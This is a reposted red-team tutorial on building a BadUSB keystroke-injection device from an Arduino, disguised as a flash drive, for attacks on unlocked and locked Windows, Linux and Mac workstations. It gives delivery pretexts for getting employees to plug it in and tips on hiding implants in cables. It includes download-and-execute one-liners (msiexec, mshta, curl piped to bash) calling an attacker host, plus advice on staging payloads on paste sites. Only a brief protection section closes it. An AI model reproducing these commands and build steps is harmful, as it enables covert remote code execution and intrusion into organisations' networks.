National Cyber Warfare Foundation (NCWF)

Social Engineering: Building Your Own BadUSB


0 user ratings
2026-04-29 13:55:40
milo
Red Team (CNA)
See how we built a BadUSB device using an Arduino for real-world attack scenarios targeting both unlocked and locked systems.

Welcome back, aspiring cyberwarriors! 





Today we are going to explore how a malicious USB drive is built, what kind of code is written onto it, and how attackers rely on human behavior to get a Windows or Linux user to plug it into a computer.





BadUSB is not a single technique but an entire family of USB-based attacks in which a connected device pretends to be something completely different from what it appears to be. A device that looks like an ordinary flash drive can identify itself as a keyboard or mouse, as an Ethernet network adapter, or as a removable storage device. Among these possibilities, the most interesting ones are usually the HID route and the network adapter route. In this article we will focus on the HID-device approach, while the network adapter variant is worth saving for a follow-up discussion because it opens a completely different set of possibilities.





The HID version is one of the few physical attacks where the human factor plays a central role. The user’s decision to plug in the device is often what determines success. At the same time, there is also a clever delayed-use case that does not always require direct user curiosity, which makes this family of attacks even more versatile. Let’s build the foundation step by step.





Theory





BadUSB-HID is an attack where a USB device is programmed to present itself as a keyboard, and less commonly as a mouse, while physically pretending to be something harmless. The deception starts with appearance. If the device looks like a normal flash drive, a cable, or some other familiar accessory, the target is far less likely to question it.





The most popular form factor is still the classic USB flash drive because it naturally fits what people expect to see in an office or meeting room. But the hardware is so compact that it can be hidden almost anywhere. It can live inside a webcam shell, be embedded in a USB hub, or even be disguised inside a cable such as the O.MG Cable. The best disguise always depends on context. A convincing form factor is about choosing whatever object makes the least noise in the target environment.





Once connected, the miniature controller instantly starts performing arbitrary keystrokes. These keystrokes are preprogrammed in advance and usually execute operating system commands through familiar shortcuts such as Win+R on Windows or Alt+F2 on Linux desktops. This technique works well against unlocked computers, where the goal is almost immediate remote code execution after the user plugs in the device. In that case, the main challenge is making the target want to connect the drive. But it can also work against locked machines, where the device is secretly inserted and left in place, waiting for the perfect moment when the user later unlocks the system. That delayed approach removes the need for direct social interaction and instead relies on patience and covert placement.





In both scenarios, the reward can be remote code execution, which makes the effort attractive from an attacker’s perspective. The entire process happens so quickly that the victim may never even realize anything happened.





Hardware





When building a BadUSB-HID device, the most important factors are low cost and ease of manufacturing. In realistic use cases, these devices are often treated as disposable tools. If the plan involves leaving several of them around an office or industrial site, cost suddenly becomes a major strategic factor. This is why expensive branded solutions are not always the best choice. 





Several simple and well-known solutions for emulating a keyboard controller are shown in the following table.





badusb hardware








Products from Hak5, especially the well-known USB Rubber Ducky, are excellent, but they can be costly and visually recognizable. Building your own device is cheaper, easier to customize, and far less suspicious. The most obvious hardware choice is a small board from the Arduino family. These boards are inexpensive, easy to source locally, and widely documented. For many builders, the Arduino Pro Micro becomes the sweet spot because it supports USB HID emulation and is physically small enough to fit inside a believable enclosure.





Ironically, the hardest part is often not the electronics but the shell. A believable enclosure matters. One practical trick is to buy the cheapest flash drive available in a local electronics store, remove its internal storage board, and reuse only the casing. Another elegant option is to simply 3D-print a flash drive enclosure that matches the dimensions of the chosen controller. Because many Arduino boards come with micro-USB connectors, the port often needs to be resoldered or adapted to a standard USB-A plug. A fake flash drive with a micro-USB connector would immediately look suspicious. If the board itself is not mechanically strong enough to support direct insertion stress, the USB plug can be fixed to the shell while the controller board connects internally using rigid wires. This transfers unplugging force to the casing instead of the PCB.





A clever physical optimization is trimming a few millimeters off the board edges where unused header pins sit. Those contacts are rarely needed for a dedicated HID implant, and removing the excess width helps the board slide neatly into a standard flash drive shell.





bad usb








The final result should look as close as possible to a normal flash drive. The less it differs from something familiar, the better the social engineering works. 





bad usb








One compatibility note is worth remembering. Some common Arduino boards are not automatically recognized by older systems such as Windows 7 without additional drivers. Modern Windows systems are far more forgiving, but if legacy compatibility matters, a more advanced board like a Teensy is often a better choice.





Software





Thanks to the built-in bootloader, Arduino boards support repeated reflashing, which means the exact keystroke payload can be rewritten for every target scenario. It makes these devices adaptable.





In Arduino terminology, the code is written as a sketch. The sketch is compiled for the AVR processor and uploaded directly over USB through the Arduino IDE.





kali > apt install arduino
kali > arduino




When working with keyboard emulation on Arduino, we typically use an API similar to the following.





api code for bad usb








Once the sketch is ready, the flashing workflow is simple.





Tools > Board: Arduino Micro
Tools > Serial Port: /dev/ttyACM0
File > Upload




After a successful upload, the device reboots within seconds and immediately starts executing its programmed keystrokes on the connected system. Of course, in a real attack scenario, those keystrokes are anything but harmless. They may open a terminal, spawn a PowerShell window, run shell commands, or retrieve a second-stage payload.





Attack Against Unlocked Computers





This attack was memorably demonstrated in the TV show Mr. Robot, and it captures how powerful physical access can be.





mr robot bad usb








The essence of the attack is to get the user to pick up the flash drive we planted and plug it into their computer, which may be located deep inside a corporate or even industrial network. Once inserted into the USB port, it executes the code written to it through preprogrammed keystrokes, opening remote access for the attacker.





The victim thinks they just plugged in a removable drive. 





The attacker might send the drive inside a package delivered through reception, perhaps addressed to management. It may be dropped into a curious employee’s mailbox, left near the parking lot, or handed over under the pretense that it contains client files. The success of the attack depends on lowering suspicion and making the action feel routine.





Once inserted, the shortest route is often to execute a remote administration tool or another lightweight backdoor. This may happen through built-in system commands that download and execute code in a single flow, depending on whether the target runs Windows, Linux, or macOS.





windows > msiexec /i http://rce.attacker.tk/shell.msi /quiet
windows > mshta http://rce.attacker.tk/shell.hta

linux > curl -L http://rce.attacker.tk/1.sh | bash
mac > curl -L http://rce.attacker.tk/1.sh | bash




One challenge is that the attacker rarely knows the outbound network restrictions in advance. The workstation may not be able to reach the command server directly. Still, even failed attempts provide useful feedback. DNS lookups, outbound HTTP requests, and blocked connections all reveal something about the organization’s egress controls.





Even if the attack fails, the attacker still learns about outbound internet access policies from user workstations and the users’ awareness of such incidents. This information can be valuable for repeated attacks.





connecting bad usb and executing code on windows








Within seconds, if everything works, the machine may be remotely accessible. A particularly clever operational detail involves public paste services that host text or payloads over HTTP. By using these as staging points, the attacker avoids exposing the real infrastructure too early.





Keyboard layout is another practical problem. On non-English systems, especially where the active layout may be Cyrillic or another non-Latin alphabet, the payload can fail if it blindly types Latin characters. 





In such cases, there are two common approaches:





1. Send the keystrokes as-is, switch the keyboard layout, and repeat.





2. Use ALT codes for each character, toggle NumLock status, and repeat.





There is no single clearly superior method. In one case, we have to guess the keyboard layout, in another we have to rely on whether the numeric keypad is enabled. Which option to use is up to each individual case. The typing speed is quite high, and there is no real difference compared with ALT codes, but the Arduino sketch file is more readable with classic typing, so we will choose that approach. A BadUSB attack is platform-independent, so alongside Windows, it can also target Linux and even Mac systems. Here is a universal sketch for attacking Windows/Linux workstations.





keyboard sketch for bad usb








Regardless of the operating system on the target machine, the sketch above will execute two commands (one for Windows and one for Linux) by simulating keystrokes at sufficiently high speed. After that, it will switch the keyboard layout using two different methods and repeat the commands again. As a result, there are four attempts to execute the commands: two to guess the operating system and two to guess the keyboard layout.





Attack Against a Locked Computer





Arduino sketches do not only have the setup() function that runs once on connection. They also include a loop() function that runs continuously. This means the device can be programmed not just to fire once, but to keep trying at chosen intervals. You can find the code here.





bad usb code for locked computers








The attacker inserts the flash drive into a locked computer and programs it to retry every few minutes, hours, or even days. Eventually the user returns, unlocks the machine, and at that exact moment the queued keystrokes land in an active desktop session instead of the password prompt. While the PC remains locked, all keystrokes simply disappear into the login field and leave little to no meaningful trace. The physical environment often helps the attacker here. A desktop tower tucked under a dusty desk or pushed into a dark corner can easily hide a malicious USB implant for a very long time. Even laptops are vulnerable, especially when cables, docks, hubs, and peripheral clutter create visual camouflage.





hiding a bad usb device








A particularly clever example is hiding a tiny hub splice underneath a desk inside an existing mouse cable. In that case, the implant visually blends into hardware the employee already expects to see every day. This turns the simple habit of locking a workstation into a weaker protection measure than many people assume. The machine may be secure right now, but the device keeps waiting for the future unlocked moment. Eventually, the perfect timing arrives. The keystrokes execute, remote access is established, and the attacker now has a foothold inside the internal network.





How to Protect





The strongest defense is usually device control software that only allows preapproved USB devices to connect. Every USB device exposes a Vendor ID and Product ID, and security tools can enforce strict whitelists based on those identifiers. If an unknown HID device is inserted, the operating system simply refuses to recognize it. This is one of the most effective protections not only against BadUSB but against a broad family of USB-based attacks.





At the same time, user awareness remains critical because this is fundamentally a social attack. Employees need to understand that plugging in unknown devices is never harmless, even if the device looks like an ordinary flash drive. Managers and security teams should also periodically inspect workstations, docking stations, and desk cable layouts for unauthorized devices. Physical security is often treated as separate from cybersecurity, but BadUSB reminds us that the two are deeply connected.





Summary





Building such a device is relatively simple and inexpensive. Small microcontrollers can emulate USB HID functionality and be hidden inside convincing enclosures such as modified flash drives or cables. The hardware is easy to customize, while the software consists of scripts that simulate rapid keystrokes to open terminals and run system commands. These scripts can be quickly rewritten and reflashed to adapt to different targets.



Source: HackersArise
Source Link: https://hackers-arise.com/badusb-hid-building-your-own-badusb/


Comments
new comment
Nobody has commented yet. Will you be the first?
 
Forum
Red Team (CNA)



Copyright 2012 through 2026 - National Cyber Warfare Foundation - All rights reserved worldwide.